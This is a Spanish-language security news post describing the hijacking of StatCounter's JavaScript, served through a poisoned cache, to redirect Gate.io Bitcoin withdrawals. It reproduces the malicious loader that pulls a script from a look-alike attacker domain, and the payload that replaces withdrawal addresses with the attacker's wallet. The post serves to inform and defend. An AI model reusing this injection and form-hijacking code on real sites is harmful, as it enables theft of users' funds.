Seguridad

Secuestran el JavaScript de StatCounter para el robo de criptomonedas

Mediante un ataque de envenenamiento de caché el grupo de ciber-delincuentes han conseguido modificar el código JavaScript de StatCounter para traspasar Bitcoins desde una cartera a otra. El ataque parece estar dirigido hacia el conocido exchange ‘Gate.io’, quien afirma que ninguno de sus usuarios parece haber sido afectado.

statcounter-hijacked

StatCounter es una conocida herramienta para el análisis del tráfico web. Al rededor de 3 millones de páginas web en todo el mundo utilizan esta herramienta para obtener estadísticas sobre sus visitantes.

Investigadores de ESET descubrieron que el código JavaScript que se insertaba en las páginas de Gate.io había sido modificado. El código malicioso se encontraba en el componente ‘statcounter.com/counter/counter.js’ y trataba de interceptar y redirigir las transacciones de Bitcoin que tenían lugar en la popular plataforma de trading.

El fragmento de código introducido por los atacantes, comprueba si la URL que visita la víctima coincide con la cadena ‘myaccount/withdraw/BTC’ (correspondiente a una operación de retirada de Bitcoins). En caso afirmativo, se carga otro fragmento de código incluido en ‘https://www.statconuter[.]com/c.php’. Notar que el dominio puede parecer legítimo a simple vista, pero en realidad se intercambian las letras ‘n’ y ‘u’.

myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
  var ga = document.createElement('script');
  ga.src = 'https://www.statconuter.com/c.php';
  ga.setAttribute('async', 'true');
  document.documentElement.firstChild.appendChild(ga);
}

Entre las diferentes plataformas de trading existentes, la URI ‘myaccount/withdraw/BTC’ sólo coincide con Gate.io, por lo que parece ser el principal objetivo de este ataque.

El payload introducido por el segundo componente ‘https://www.statconuter.com/c.php’ sustituye la dirección de Bitcoin de destino por la del atacante (1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad).

document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
    var a = document.getElementById('withdraw_form');
    if ($('#amount').val() > 10) {
        document.forms[0]['addr']['name'] = '';
        var s = $("");
        s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        a.submit();
    } else if (document.getElementById('canUse').innerText > 10) {
        document.forms[0]['addr']['name'] = '';
        var s = $("");
        s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
        var b = $('#withdraw_form');
        b.append(s);
        document.forms[0]['amount']['name'] = '';
        var t = $("");
        t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
        b.append(t);
        a.submit();
    } else {
        doSubmit1();
    }
};

Es difícil determinar cuántos bitcoins han sido transferidos a los atacantes, ya que se generan nuevas direcciones cada vez que se carga el script ‘https://www.statconuter.com/c.php’. A pesar de esto, desde Gate.io no tienen constancia de que ninguno de sus usuarios haya sido afectado.

Para introducir el script modificado, los atacantes no comprometieron ninguno de los servidores de StatCounter, sino que envenenaron la caché de CloudFlare para que se sirviera el código malicioso. CloudFlare ya advirtió de esta vulnerabilidad hace unos meses y desde Hispasec recomendamos seguir sus recomendaciones para evitar este tipo de ataques.

Más información:

Supply-chain attack on cryptocurrency exchange gate.io
https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/

Powered by WPeMatico

Gustavo Genez

Informático de corazón y apasionado por la tecnología. La misión de este blog es llegar a los usuarios y profesionales con información y trucos acerca de la Seguridad Informática.